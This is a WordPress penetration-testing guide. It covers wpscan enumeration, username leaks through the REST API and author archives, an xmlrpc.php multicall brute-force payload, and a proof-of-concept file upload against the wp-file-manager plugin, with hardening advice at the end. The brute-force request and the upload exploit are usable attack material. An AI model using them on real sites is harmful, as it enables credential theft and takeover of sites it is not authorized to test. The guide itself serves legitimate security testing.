
Over 40% of the entire web runs on WordPress, and that single fact shapes how it gets attacked. Nobody picks your site and then hunts for a bug. Attackers scan the whole internet for one specific vulnerable plugin version and exploit every match in an afternoon, which is why a fresh plugin advisory turns into mass exploitation within hours of disclosure. The hardened WordPress core, maintained by a serious security team, is almost never the way in. The tens of thousands of third-party plugins around it are.
This guide covers how to pentest a WordPress site the way an attacker does, with wpscan as the workhorse, the specific endpoints worth probing (xmlrpc.php, the REST users API, author archives), what a confirmed credential and a confirmed plugin exploit look like, and the hardening that closes them in priority order. It slots into the broader web application pentesting checklist as a CMS-specific module.
WordPress is targeted constantly because its huge install base means a single plugin vulnerability can expose hundreds of thousands of sites at once, making automated mass exploitation extremely profitable. Attackers do not pick a site and then look for a bug; they scan the internet for a specific vulnerable plugin version and exploit every match.
The structural reasons are simple: tens of thousands of third-party plugins and themes of wildly varying code quality, site owners who delay updates, and default installs that expose endpoints useful for enumeration and brute force. Add weak or reused admin passwords and you have the recipe behind most WordPress incidents. This makes WordPress a recurring item in any web app testing engagement that includes a CMS.
Enumeration means fingerprinting the version, installed plugins and themes, and valid usernames before you attack anything, and wpscan automates almost all of it. Start passive, then add aggressive plugin detection if the engagement allows. The output below is the part you act on, the version-to-CVE match and the leaked usernames:
$ wpscan --url https://target.com --enumerate vp,u --api-token <TOKEN>
[+] WordPress version 5.8.1 identified (Insecure, released 2021-09-08)
[+] WPScan found 17 vulnerabilities affecting this version
[+] Plugin: file-manager 6.0
| [!] Title: Unauthenticated Arbitrary File Upload (CVE-2020-XXXXX) <-- the one that matters
| [!] Fixed in: 6.9
[+] Enumerating Users (via REST API + author archives)
| [+] admin
| [+] editor_jane <-- targets for a spray
# Manual cross-checks:
curl https://target.com/wp-json/wp/v2/users # REST API leaks login names
curl -I "https://target.com/?author=1" # author archive 301s to /author/<username>/The REST users endpoint and author archives both leak valid login names, which turns a password spray into a targeted attack. The flagged file-manager CVE is the lead worth confirming, not trusting on the banner alone.
The bulk of WordPress findings cluster into a few categories, and plugins dominate every count. Knowing the categories tells you where to spend testing time.
xmlrpc.php deserves dedicated testing because system.multicall lets you ride hundreds of login guesses on a single HTTP request, so a rate limit that counts requests never trips. It is enabled by default on many installs. A wrong guess returns a fault; a correct one returns the user's blog list, which is the proof of a valid credential:
POST /xmlrpc.php
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>
<value><struct><member><name>methodName</name><value>wp.getUsersBlogs</value></member>
<member><name>params</name><value><array><data><value><array><data>
<value>admin</value><value>Password123</value>
</data></array></value></data></array></value></member></struct></value>
<!-- repeat the struct for hundreds of guesses in ONE request -->
</data></array></value></param></params></methodCall>
HTTP/1.1 200 OK
<!-- wrong guess --> <fault><value>...403 Incorrect username or password</value></fault>
<!-- correct guess --> <array><data><value><struct><member><name>blogName</name>... <-- valid credsThe blog-list struct in place of a fault is the confirmation. Test the standard login for a missing lockout (WSTG-ATHN-03) by spraying enumerated users with wpscan's --passwords mode, and test pingback.ping for blind SSRF against internal hosts the same way you would any SSRF sink.
A confirmed WordPress finding pairs the enumerated version with a working proof, not a version-to-CVE guess. The higher-severity path is almost always a plugin. On a recent assessment of a membership site, wpscan flagged the outdated file-manager plugin from the scan above; confirming the unauthenticated upload CVE meant writing a harmless marker file and reading it back:
# Exploit the unauthenticated upload, write a benign proof file
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
cmd=upload&target=<hash>&... (multipart: proof.txt = "strobes-poc")
# Confirm it landed and is web-reachable:
$ curl https://target.com/wp-content/uploads/proof.txt
strobes-poc <-- arbitrary file write confirmed; a .php here = RCEReading back strobes-poc from the uploads directory is the proof of arbitrary file write, which chains to remote code execution by writing a PHP shell instead of a text file (kept out of scope on a live target unless explicitly authorized). Always confirm the exploit on the actual target rather than asserting a CVE from a banner, because many sites backport patches.
WordPress scanners are noisy with version-based false positives and quiet on findings that need a second request. wpscan and Nuclei match a disclosed plugin version to a CVE and report it, but many sites backport patches or hide the version, so a flagged "vulnerable" plugin is frequently already fixed. Confirm by triggering the bug, not by trusting the banner, and treat a hidden version as a reason to test manually rather than a clean result.
On the false-negative side, scanners miss logic and access-control issues in plugins entirely: an IDOR in a membership plugin's AJAX action, a broken nonce check on a privileged admin-ajax.php handler, or a settings page reachable by a subscriber. None of those carry a public signature. Blind xmlrpc pingback.ping SSRF also needs out-of-band confirmation a scanner rarely sets up. Because plugin churn is constant, a point-in-time scan goes stale within weeks, which is why pairing periodic manual web application testing with continuous, AI-driven coverage keeps pace, the idea behind agentic pentesting.
Harden WordPress by shrinking the attack surface and removing default footholds, in roughly this priority order. Updates come first because vulnerable plugins are the number one cause of compromise; obscurity tricks like hiding the version come last because an attacker fingerprints it from CSS or readme files anyway.
define('DISALLOW_FILE_EDIT', true); in wp-config.php.